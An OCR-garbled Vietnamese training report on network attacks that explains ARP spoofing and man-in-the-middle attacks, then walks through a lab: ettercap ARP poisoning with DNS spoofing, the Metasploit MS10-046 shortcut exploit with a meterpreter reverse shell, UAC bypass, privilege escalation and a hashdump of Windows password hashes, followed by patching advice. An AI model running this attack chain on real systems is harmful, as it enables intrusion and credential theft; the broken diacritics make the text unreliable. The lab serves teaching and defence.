NOQI DUNG SANG KIEN KINH NGHIEM

1. Trinh bay vé k¥ thuat khai thac tAn céng chi dong — thu dong
1.1 TAn céng cha dong
Tan cong chu dong 1a tan cong truc tiép vao mot hodc nhiéu thiét bi trén mang
vi du nhu vao AP, STA. Nhiing ké tan cong co6 thé sir dung phuwong phép tan
cong chu dong dé thuc hién cac chire ning trén mang. Cudc tn cong chu dong
c6 thé dugc dung dé tim cach truy nhap téi 1 server dé tham do, dé lay nhiing

dir liéu quan trong, tham chi thyc hién thay d6i cau hinh co sé ha ting mang.

Kiéu tAn cong nay dé phat hién nhung kha ning pha hoai cua né rat nhanh va
nhiéu, khi phat hién ra thi chung ta chua kip c6 phuong an d6i pho thi né da
thuc hién xong qué trinh pha hoai. So véi kiéu tan cong bi dong thi tin cong
chu dong ¢6 nhiéu phuong thirc da dang hon, vi du nhu: tin cong tir chéi dich
vu (DOS), stra d6i thong tin (Message Modification), dong goi, mao danh, che
dau (Masquerade), 13p lai thong tin (Replay), bomb, spam mail.

1.2 Tan cong bi dong

Tan cong bi dong 14 kiéu tan cong khong tac dong truc tiép vao thiét bi nao trén
mang, khong 1am cho céc thiét bj trén mang biét duoc hoat dong cua no, vi thé

Kiéu tan cong nay nguy hiém & chd né rat kho phat hién.

Vi du nhu viéc 1y trom thong tin trong khong gian truyén song cua céac thiét
bi s& rat kho phat hién du thiét bi lay tréom d6 nam trong ving phtl séng cua
mang chir chua néi dén viée nd duoc dit & khoang cach xa va st dung antan
dugc huéng toi noi phat song, khi 6 cho phép ké tan cong gitr dugc khoang
cach thuan loi ma khong thé bi phat hién. Cac phuong thtc thuong dung trong
tan cong bi dong: nghe trom (sniffing, eavesdroping), phan tich ludng thong tin

(Traffic analyst).



2. Mao danh truy cap trai phép

Viéc mao danh, truy cip trai phép 13 hanh dong tan cong ctua ké tin cong ddi
voi bat ky mot loai hinh mang may tinh nao, va ddi véi mang Internet khong
day ciing nhu vay. Mot trong nhiing cach phd bién 1a mot may tinh tin cong
bén ngoai gia mao 13 may bén trong mang, xin két ni vao mang dé rdi truy cap

trai phép nguon tai nguyén trén mang.

Viéc gia mao nay duogc thuc hién bang cach gia mao dia chi MAC, dia chi
IP cua thiét bj mang trén may tin cong thanh cac gia tri cia may dang st dung
trong mang, 1am cho hé théng hiéu nham va cho phép thuc hién két ndi. Vi du
viéc thay d6i gia tri MAC cua card mang khong day trén may tinh st dung hé
diéu hanh Windows hay UNIX déu hét sic dé dang, chi can qua mot sé thao

tac co ban cua nguoi su dung.

Cac thong tin vé dia chi MAC, dia chi IP can gia mao c6 thé lay tir viéc bat
trom goi tin trén mang. Bién phap d6i pho: viéc giir gin bao mat may tinh dang
st dung, khong cho ai vao dung trai phép 1a nguyén 1y rat don gian nhung lai
khong thira dé ngin chin viéc mao danh nay. Viéc mao danh cé thé xay ra
con do qua trinh chirng thuc giira cac bén con chua chit ché, vi vay can phai
nang cao kha nang nay gitra cac bén.

3. Tan cong Man-in-the-Middle — Gia mao ARP Cache
3.1 Man in the Middle:
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Hinh 1: M6i truong tan céng bang MITM



La mét trong nhitng kiéu tan céng mang thuong thdy nhat dugc sir dung dé
chéng lai nhitg ca nhan va cac to chic 16n chinh, nd thudng duoc viét tat 1a
MITM. C6 thé hiéu ném na rang MITM giéng nhu mét ké nghe trom. MITM
hoat dong bang cach thiét 1ap cac két ndi dén may tinh nan nhan va chuyén
tiép dix liéu giira chiing. Trong trudng hop bi tan cong, nan nhan ct tin tudng
13 ho dang truyén thong mot cach truc tiép véi nan nhan kia, nhung su thuc
thi cac ludng truyén thong lai bi théng qua host cua ké tan cong. Va két qua
1a cac host nay khong chi c6 thé théng dich dit liéu nhay cam ma né con co
thé giri xen vao cling nhu thay di luong dit liéu dé kiém soat sau hon nhiing

Nan nhan cua no.

Webserver

Hinh 2 : Tan céng Man-in-the-middle
3.2 Gia mao ARP Cache

Pay 1a mot hinh thirc tin cong MITM hién dai c6 xuit x{& 1au doi nhat (d6i
khi con duoc biét dén véi cai tén ARP Poison Routing), tAn cong nay cho
phép hacker (nam trén cung mot subnet véi cdc nan nhan caa nd) co thé
nghe trom tat ca cac luu lugng mang gitra cac may tinh nan nhan. Ching
t61 dd chon day 1 tn cong dau tién can giGi thiéu vi nd 1a mot trong nhirng
hinh thtc tn céng don gian nhat nhung lai 1a mot hinh thic hiéu qua nhat
khi dugc thyc hién boi ké tan cong.
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Giao thirec ARP duoc thiét ké dé phuc vu cho nhu cau thong dich cac dia
chi gitra cac 16p thtr hai va th ba trong mo hinh OSI. Lop tht hai (16p
data-link) sir dung dia chi MAC dé cac thiét bi phan ctig c6 thé truyén
thong véi nhau mot cach tryc tiép. Lop thir ba (16p mang), st dung dia chi
IP dé tao cac mang c6 kha ning mo rong trén toan cau. Lép data-link xir
1y truc tiép véi cac thiét bi dugc két ndi voi nhau, con 16p mang xu 1y cac
thiét bi duoc két ni truc tiép va khong truc tiép. Mdi 16p co co ché phan
dinh dia chi riéng, va chung phai 1am viéc véi nhau dé tao nén mot mang
truyén théng. Véi 1y do d6, ARP dugc tao véi RFC 826, “mét giao thic
phan dinh dia chi Ethernet - Ethernet Address Resolution Protocol”.

ARP Request

Source IP: 192.168.0.101 :@

Source: MAC: 12:/2:42:42:12:12
Target IP: 192.168.0.1
Target MAC: 00:00:00:00:00:00

ARP Response

“ —
@ Source IP: 192.168.0.1 % @
Source: MAC: 02:2:02:£2:02:12 %

Target IP: 192.168,0.101
Target MAC: 12:02:12:12:12:12

Hinh 3 : Qua trinh phan giai ARP

Thuc chat trong van dé hoat dong ciia ARP duoc tap trung vao hai goi, mot goi
ARP request va mot géi ARP reply. Muc dich cua request va reply 1a tim ra dia
chi MAC phan cimg c6 lién quan téi dia chi IP da cho dé luu lugng c6 thé dén
duoc dich cta nod trong mang. Goi request duoc gui dén céc thiét bi trong doan
mang, trong khi giri n6 néi rang (day chi 1a nhan cach hoa dé giai thich theo
huéng dé hiéu nhat) “Hey, dia chi |P cia téi la XX.XX.XX.XX, dia chi MAC cua
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16i la XX:XX-XX-XX-XX-XX. T6i can quri mot vai thir dén mot nguweoi cé dia chi
XX XX XX XX, nhung téi khong biét dia chi phan citng nay nam & dau trong
doan mang ciia minh. Néu ai dé ¢é dia chi IP nay, xin hdy ddp trd lai kém voi
dia chi MAC cua minh!” Pap tra s€ dugc gui di trong goi ARP reply va cung
cap cau tra loi, “Hey thiét bi phdt. Téi la nguoi ma ban dang tim kiém véi dia
chi IP la XX XX XX XX. Dia chi MAC cua t6i la XX:XX:XX:XX:XX:XX.” Khi
qua trinh nay hoan tét, thiét bi phat s& cap nhat bang ARP cache ciia né va hai

thiét bi nay c6 thé truyén thong voi nhau.

Viéc gia mao bang ARP chinh 1a lgi dung ban tinh khong an toan cua giao thuc
ARP. Khong giéng nhu cic giao thirc khac, chang han nhu DNS (c6 thé dugc
cau hinh dé chi chap nhan cac nang cap dong kha an toan), cac thiét bi sir dung
giao thuc phan giai dia chi (ARP) s& chap nhan nang cap bat cu lac nao. Piéu
nay c6 nghia rang bat ctr thiét bi nao c6 thé giri goi ARP reply dén mot méy tinh
khac va may tinh nay s€ cap nhat vao bang ARP cache cua n6 ngay gia tri mai
nay. Viéc gui mot goi ARP reply khi khong ¢é request nao dugc tao ra dugc goi
1a viéc gui ARP “vu vo™. Khi cac ARP reply vu vo ndy dén dugc cac may tinh
da guri request, may tinh request ndy s& nghi rang d6 chinh 1a d6i tugng minh
dang tim kiém d¢é truyén thong, tuy nhién thyuc chat ho lai dang truyén thong voi

mot ké tin cong.



Normal Traffic Pattern

Target Computer Switch Router

Sniffer

Poisoned ARP Cache

Target Computer Switch Router

\\ ©

Sniffer

Hinh 4 Qua trinh gid mago caching
[1-Thyuc nghiém
Noi dung chinh cac budc thuc nghiém:
Buadc 1: Chay chuong trinh Kali linux va khéi tao metasploit
Buoc 2: Str dung Ettercap thuc hién DNS spoofing
Buoc 3: Tién hanh khai thic ma 16i MS10-046

Budéc 1: Chay chwong trinh Kali linux va khéi tao metasploit

May Kali linux (Attacker)

Thiét lap IP (hé thong 1a cac may hé diéu hanh Kaki Linux)

Dung tién ich nano, thuc hién 1énh sau dé thiét 1ap tin cu hinh interfaces

#nano /etc/network/interfaces



Thiét 1ap noi dung tap tin interfaces:

auto ethO

iface ethO inet static
address 192.168.255.128
netmask 255.255.255.0
network 192.168.255.0
broadcast 192.168.255.255
gateway 192.168.255.2

# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 192.168.255.26
dns-search lytc.com

Trong do:

+ eth0 : chi 1a tén interface dé phan biét voi cac interface khéc, viéc goi

1a Interfaces hay card mang khéng quan trong ban nhé minh thay goi thé nao
ngudi nghe ciing hiéu ca.

+ static: khai bao s€ gan IP tinh cho interface nay

+192.168.255.128: chi dinh IP cho interfaces.

+ Netmask: cta IP nay

+ 192.168.255.0: dai mang cua IP 192.168.100.0.

+ 192.168.255.255: dia chi Broadcast

+ 192.168.255.2: dia chi cia Default Gateway thuong la IP LAN ctia modem
ADSL.

+ Dns-nameserver: may chu nay c6 DNS Server la 192.168.255.2 giip phan
giai name trong mang.

+ Dns-search: wu tién tim trong mién lytc.com

Dé cap nhat thay d6i ban can restart lai card mang, ct phap két qua nhu bén dudi 14 ok.
sudo /etc/init.d/networking restart

* Running /etc/init.d/networking restart is deprecated because it may not enable
again some interfaces

* Reconfiguring network interfaces... [ OK ]

Sau khi restart ban kiém tra lai thong sb ip da duoc cap nhat hay chua, 1énh.
#ifconfig ethO

+May Windows 7/ Windows 10: 192.168.255.129/24




Khaoi tao moi treong metasploit

nhanld:~# msfconsole

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E

Ready. ..

> access security

access: PERMISSION DENIED.

> access security grid

access: PERMISSION DENIED.

> access main security grid

access: PERMISSION DENIED....and...

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit

metasploit v4.11.4-2015071403 ]
1467 exploits - 840 auxiliary - 232 post ]
432 payloads - 37 encoders - 8 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

exploit/windows/browser/ms10 046 shortcut icon dllloader
msf exploit(msl0 046_shox t icon dllloader) > set payload windows/meterpreter/reverse https
payload => windows/meterpreter/reverse https
msf exploit(msl0 046 shortcut icon dllloader) > m

Hinh 5: Thiét ldp cdc théng sé khéi tao metasploit
Dung 1énh show option dé kiém tra thong s6 metasploit

msf exploit(msl0 046 shorxte ) lLloader) > show options
Module options (exploit/windows/browser/msl0_046_shortcut icon dllloader):

Name Current Setting Required Description

SRVHOST 0.0.0.0 The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 The daemon port to listen on (do not change)

SSLCert Path to a custom SSL certificate (default is randomly generated)

UNCHOST no The host portion of the UNC path to provide to clients (ex: 1.2.3.4)

URIPATH yes The URI to use (do not change).

Payload options (windows/meterpreter/reverse https):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: , , seh, thread, process, none)
LHOST The local listener hostname
LPORT 8443 The local listener port

Exploit target:
Id Name

0 Automatic

msf exploit(msl0 046 sh

Hinh 6 : Hién thi thong tin vé tham sé metasploit
Chay mot tién trinh ngam dé theo dbi thong tin guri Vé tir may
Windows7/Windows 10.

msf exploit (ms 46 shortcut icon dllloader) > exploit -j
Exploit running as background job.

Started HTTPS reverse handler on https://0.0.0.0:8443/

Send vulnerable clients to \\192.168.255.128\gvtowBEW\.
get clients to save and render the icon of http://<your host>/<anything>.lnk
g URL: http://192.168.255.128:80/




Hinh 7 : Diing lénh exploit véi tham s¢ -j
Buwéc 2: St dung Ettercap thwc hién DNS spoofing

&P root®kali-nhantd

SRR
# some MX examples
#

alor.org MX 127.0.0.1
naga.org MX 127.0.0.1
example.org MX 127.0.0.2
microsoft.com MX 2001:db8::1lce:c0ld:bee3

HHAHHHBHE AR
# This messes up NetBIOS clients using DNS

# resolutions. I.e. Windows/Samba file sharing.
#

LAB-PC* WINS 127.0.0.1

S8R0 R R
# some service discovery examples

xmpp-server. tcp.jabber.org SRV 192.168.1.10:5269
ldap. udp.mynet.com SRV [2001:db8:c00l:beef::1]:389

#HERHHBHE G BE RS HE RS HRE R S Y
# little example for TXT records
#

naga.org TXT "v=spfl ip4:192.168.1.2 ip6:2001:db8:d0bl:beef::2 -all"

# vim:ts=8:noexpandtab

i

mail.google.com A 192.168.255.128
mail.google.com PTR 192.168.255.128

Hinh 8 : Thiét ldp thong sé ettercap DNS

root@kali ~:# ettercap -T -q -M arp:remote -P dns_spoof il /192.168.255.129/ //
-T: Text mode

-q: quiet

-M: Man in the midle

-i: interface

-P: su dung plugin, ta dang su dung dns_spoof

Hinh 10 : Thiét |dp théng sé cho cdu Iénh ettercap cho phép tan céng MITM



ettercap 0.8.2 copyright 2001-2015 Ettexcap Development Team

Listening on:
eth0 -> 00:0C:29:29:C0:4B
192.168.255.128/255,255.255.0
feB80::20c:29ff:fe29:c04b/64

SSL dissection needs a valid 'redir command on' script in the etter.conf file
Privileges dropped to EUID 65534 EGID 65534...

33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 08 fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...

/| >

Hinh 11: Qud trinh ettercap dién ra

r

Buwéc 3: Tién hanh Khai thac mi 16i MS10-046

>4

Khi may windows truy cép vao website gia mao 1ap tic tin hi¢u dugc gaoi ve

cho may attacker biét rang phién lam viéc da duoc mo (cong duoc mo dé dé
dang khai thac)

m5104046:shortcutilcon:dllloader Sending 301 for /gvtowBEW ...
ms10_046_shortcut_icon dllloader Received WebDAV PROPFIND request for /gvtowBEW/
msl0 046 shortcut icon dllloader - Sending directory multistatus for /gvtowBEW/
ms1l0 046 shortcut icon dllloader Received WebDAV PROPFIND request for /gvtowBEW/desktop.ini
msl10_046_shortcut icon dllloader Sending 404 for /gvtowBEW/desktop.ini
ms1l0_046_shortcut icon dllloader - Received WebDAV PROPFIND request for /gvtowBEW
ms10_046_shortcut icon dllloader - Sending 301 for /gvtowBEW ...
ms10_046_shortcut icon dllloader Received WebDAV PROPFIND request for /gvtowBEW/
msl0_046_shortcut icon_dllloader Sending directory multistatus for /gvtowBEW/
ms1l0_046_shortcut icon dllloader - Sending LNK file
msl0_046_shortcut icon dllloader - Received WebDAV PROPFIND request for /gvtowBEW/KrudBaKz.dll.manifest
msl0_046_shortcut icon_dllloader Sending 404 for /gvtowBEW/KrudBaKz.dll.manifest
ms1l0_046_shortcut icon dllloader - Sending DLL payload
msl0_046_shortcut icon_dllloader - Received WebDAV PROPFIND request for /gvtowBEW/KrudBaKz.dll.123.Manifest
ms10_046_shortcut icon_dllloader Sending 404 for /gvtowBEW/KrudBaKz.dll.123.Manifest
ms10_046_shortcut icon_dllloader Received WebDAV PROPFIND request for /gvtowBEW/KrudBaKz.dll.124.Manifest
msl10 046 _shortcut icon dllloader Sending 404 for /gvtowBEW/KrudBaKz.dll.124.Manifest
ms10 046_shortcut icon dllloader - Received WebDAV PROPFIND request for /gvtowBEW/KrudBaKz.dll.2.Manifest
ms10_046_shortcut icon_dllloader Sending 404 for /gvtowBEW/KrudBaKz.dll.2.Manifest
ms10_046_shortcut icon dllloader - Received WebDAV PROPFIND request for /gvtowBEW
ms10 046 _shortcut icon dllloader Sending 301 for /gvtowBEW ...
msl0_046_shortcut icon_dllloader Received WebDAV PROPFIND request for /gvtowBEW/

. ms10_046_shortcut icon_dllloader - Sending directory multistatus for /gvtowBEW/ .

.129:49277 (UUID: 158e25aeeB8bcefbd5/x86=1/windows=1/2015-09-17T07:50:152) Staging Native payload ...

session 1 opened (192.168.255.128:8443 -> 192.168.255.129:49277) at 2015-09-17 03:50:15 -0400

Meterpreter

Hinh 12 : Session 1 dd dwroC Mo tir may windows goi Vé.
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Active session

Information Connection

b 3 meterpreter x86/win32 victim-PC\victim @ VICTIM-PC 192.168.255.128:8443 -> 192.168.255,.129:49277 (192.168.255.129

msf exploit(bypassuac injection) > rexploit
Reloading module. ..

Started reverse handler on 192.168.255.128:4444
k] Windows 7 (Build 7600) . may be vulnerable.

UAC is Enabled, checking level...

Part of Administrators group! Continuing...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Uploading the Payload DLL to the filesystem...

Spawning process with Windows Publisher Certificate, to inject into...

Successfully injected payload in to process: 1900

Sending stage (885806 bytes) to 192.168.255.129

Meterpreter session 2 opened (192.168.255.128:4444 -> 192.168.255.129:49279) at 2015-09-17 03:53:16 -0400
] Deleted C:\Users\victim\AppData\Local\Temp\ukCrCogA.dll

Waiting Os before file cleanup...

This exploit may require manual cleanup of 'C:\Windows\System32\sysprep\CRYPTBASE.dll' on the target

Hinh 13 : M6 lai phién két néi sé 2 (session 2 opened)

Truy cap va khai thac vai quyén hé thong va 14y file password tir quyén hé
thdng trén windows

meterpreter >

neterpreter > getuid

Server username: victim-PC\victim

eterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)) .

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

eterpreter > hashdump
‘dmlnlstrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfeOd1636931b73c59d7e00089c0:::
uest:501:aad3b435b51404eeaad3b4d35b51404ee:31d6cfe0dl6aed931b73¢c59d7e0c089c0: : @

Hinh 14 : dung lénh hashdump file sam trén Windows

[11-Danh gia, kién nghi

+Panh gia két qua

Nhu vay, qua phan trinh bay co so 1y thuyét ciing nhu phan thyc nghiém bang
viéc khai thac bang ma 15i ms10-046 cho ching ta nhan dinh vé dac diém cua
mi 161 ndy nhu sau : MS10-046 15 hong duoc céng bd cong khai trong Windows
Shell (13i shortcut). Céac 15 hong c6 thé cho phép thuc thi ma tir xa néu biéu tuong
ctia mot phim tit thiét ké dac biét duoc hién thi. Mot ké tan cong khai thac thanh
cong 16 hong nay c6 thé dat dugc cac quyén ngudi dung twong tu nhu ngudi
dung cuc bo(local).

+Kién nghi
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L3i "shortcut" duoc phat hién lan dau tién vao gitra thang 6 boi VirusBlokAda,
mot hing bao mat tai Belarus nhung phai dén ngay 15-7 thi 16i mgi nhanh chéng
thu hat dugc su cha v rong réi sau khi blogger chuyén vé bao mat Brian Krebs
canh bao vé nd. Mot ngay sau d6, Microsoft chinh thtrc xac nhan vé 15i va canh
bao vé loai sau "Stuxnet" duoc dung dé khai thac 13i, tap trung tin cong vao cac

hé thong 16n nhur doanh nghiép dang dung hé diéu hanh Windows.

Ma khai thac dugc phéat tan tran lan trén mang. Sau Stuxnet, hang loat ma dgc
khac nhu Sality, Vobfus va Chymine duoc san sinh dé khai thac 16i. Ngay chinh
hang Microsoft 1dn cac hing bao mat déu 1én tiéng canh bao ngudi dung 1an doanh
nghiép luu ¥ mirc do nguy hiém cua 15i nay. Trung tdm an ninh mang Bkis cho
biét tinh riéng tai Viét Nam di c6 dén 30.800 may tinh bi nhiém virus bat nguon
tur 16i "Shortcut”. Ca Bkis va Sophos cung phét hanh cong cu ngin ngira va quét

virus tam thoi trude khi ¢6 ban va chinh thuc tir Microsoft.

Qua loi canh bao cia cac hang bao mat va ngay chinh hang Microsoft cho phép
t61 dua ra mot s6 Kién nghi dé nang cao d6 an toan trong cong tac bao mat nhu

sSau.

= Tuyét d6i khong truy cap cac duong két ndi la (cac duong link), khong ro
ngudn gdc.

= Han ché sir dung dia USB dé chép tran lan trén hé thong

= Han ché truy cap e-mail la

= Ludn ludn dung phan mém virus c6 ban quyén

= Hé diéu hanh Windows va cac trinh duyét phai ludn ludn duoc cap nhat va

chay cac ban va 16i do hang Microsoft phat hanh tir nguén chinh thng.
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